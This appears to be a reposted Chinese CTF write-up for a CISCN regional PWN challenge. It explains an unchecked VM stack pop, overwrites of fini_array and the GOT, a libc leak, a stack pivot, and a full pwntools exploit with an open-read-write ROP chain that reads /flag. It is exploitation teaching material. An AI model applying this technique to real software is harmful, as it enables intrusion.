近一步分析可以发现其指令为8字节,其中前4字节标识指令类型,后4字节仅在push时作为参数使用,被压入栈中


ciscn国赛华东南分区赛PWN方向WriteUp分享


且vm函数第二个参数被用来标识vm是否继续运行,第一个参数则为指向8字节指令的指针


漏洞分析和利用

容易注意到在执行pop时,程序并没有检查栈的边界,导致存在越界读写的漏洞


ciscn国赛华东南分区赛PWN方向WriteUp分享


由于程序为no relro保护,可以覆写got表或fini_array来劫持控制流


但是由于此时并不知道libc地址,且vm的字长为4字节,这导致我们在执行时不能通过add等操作来直接对got的原有数据进行加减来得到libc中的其他函数


所以我们需要通过程序的result输出来泄漏libc地址后再进行下一步利用,这要求我们在泄漏完成后仍然可以与程序交互


所以我们可以修改如puts函数的got表为main函数,来实现一个循环,由于我们需要执行orw来get flag,所以我们需要想办法来执行rop。注意到我们的指令是写入到栈中的,同时并没有限制写入的内容,这说明我们可以将这块空间作为rop链。


那么我们只需要从libc中寻找到一条gadget来将栈指针合适地向下调整,即可完成栈迁移,执行我们的rop链,经过一些调试可以找到符合条件的gadget。


ciscn国赛华东南分区赛PWN方向WriteUp分享


接下来就只需要写一个orw rop链即可get flag


exp

from pwn import *
if args.REMOTE: sh = remote('127.0.0.1',9999)else: sh = process('./pwn')context.arch = 'amd64'
OP_ADD = 0x01OP_SUB = 0x02OP_MUL = 0x03OP_DIV = 0x04OP_PUSH = 0x05OP_POP = 0x06
def make_ins(op,val=0): return p32(op) + p32(val)
def pop(): sh.sendafter(b'code',make_ins(OP_POP))
def push(val): sh.sendafter(b'code',make_ins(OP_PUSH,val))
def add(): sh.sendafter(b'code',make_ins(OP_ADD))
def sub(): sh.sendafter(b'code',make_ins(OP_SUB))
def gadget(val): sh.sendafter(b'code',p64(val))
stack_start = 0x403640puts_got = 0x403540fini_arr = 0x403338main = 0x401A8bputs_got_off = (stack_start - puts_got) // 4fini_arr_off = (stack_start - fini_arr) // 4
# gdb.attach(sh,'b *0x401b22')# pause()while fini_arr_off >= 0: pop() fini_arr_off -= 1push(main)sh.send(b'n')
sh.recvuntil(b'result 39: ')hi = int(sh.recvline().strip())sh.recvuntil(b'result 40: ')lo = int(sh.recvline().strip())if lo < 0: lo = lo & 0xffffffff
libc = ELF('./libc.so.6',checksec=False)libc_base = (hi << 32) + lo - libc.sym['access']success("libc_base : "+hex(libc_base))libc.address = libc_base

off = (puts_got - fini_arr) // 4 - 1while off > 2: push(0) off -= 1
num = u64(b'/flag'.ljust(8,b'x00'))low = num & 0xffffffffhi = num >> 32
push(low)push(hi)flag_str = puts_got - 0x8
# 0x0000000000060ec2: add rsp, 0x410; pop rbp; pop r12; pop r13; ret;add_rsp = libc_base + 0x60ec2# 0x000000000002a3e5: pop rdi; ret;pop_rdi = 0x2a3e5 + libc_base# 0x00000000000da97d: pop rsi; ret;pop_rsi = 0xda97d + libc_base# 0x0000000000090529: pop rdx; pop rbx; ret;pop_rdx_rbx = 0x90529 + libc_base# 0x0000000000045eb0: pop rax; ret;pop_rax = libc_base + 0x45eb0# 0x0000000000091396: syscall; ret;syscall_ret = 0x91396 + libc_base# 0x00000000001750eb: push rax; pop rbx; ret;push_rax_pop_rbx = 0x1750eb + libc_base# 0x000000000007dae1: mov rdi, rbx; call rax;mov_rdi_rbx_call_rax = 0x7dae1 + libc_base
ret = pop_rdi + 1
push(add_rsp & 0xffffffff)
payload = [ pop_rdi, 0xffffffff, ret, pop_rax, 2, pop_rdi, flag_str, pop_rsi, 0, syscall_ret,
push_rax_pop_rbx, pop_rax, pop_rax, mov_rdi_rbx_call_rax,
pop_rax, 0, pop_rsi, stack_start+0x30, pop_rdx_rbx, 0x100, 0, syscall_ret,
pop_rax, 1, pop_rdi, 1, pop_rsi, stack_start+0x30, pop_rdx_rbx, 0x100, 0, syscall_ret,
pop_rax, 0x3c, pop_rdi, 0, syscall_ret]
for i in payload: gadget(i)sh.send(b'n')
sh.recvuntil(b'result 131: ')sh.recvline()print(sh.recvall())sh.close()


本地测试


ciscn国赛华东南分区赛PWN方向WriteUp分享


远程docker测试


ciscn国赛华东南分区赛PWN方向WriteUp分享


poc脚本测试


ciscn国赛华东南分区赛PWN方向WriteUp分享



往期回顾


ciscn国赛华东南分区赛PWN方向WriteUp分享

EnemyBot简单分析

ciscn国赛华东南分区赛PWN方向WriteUp分享

Havoc-win

ciscn国赛华东南分区赛PWN方向WriteUp分享

ciscn国赛华东南分区赛WEB方向WriteUp分享


ciscn国赛华东南分区赛PWN方向WriteUp分享
ciscn国赛华东南分区赛PWN方向WriteUp分享

扫码关注我们


天虞实验室为赛宁网安旗下专业技术团队,重点攻关公司业务相关信息安全前沿技术。

原文始发于微信公众号(天虞实验室):ciscn国赛华东南分区赛PWN方向WriteUp分享

版权声明:admin 发表于 2023年7月13日 下午6:35。
转载请注明:ciscn国赛华东南分区赛PWN方向WriteUp分享 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...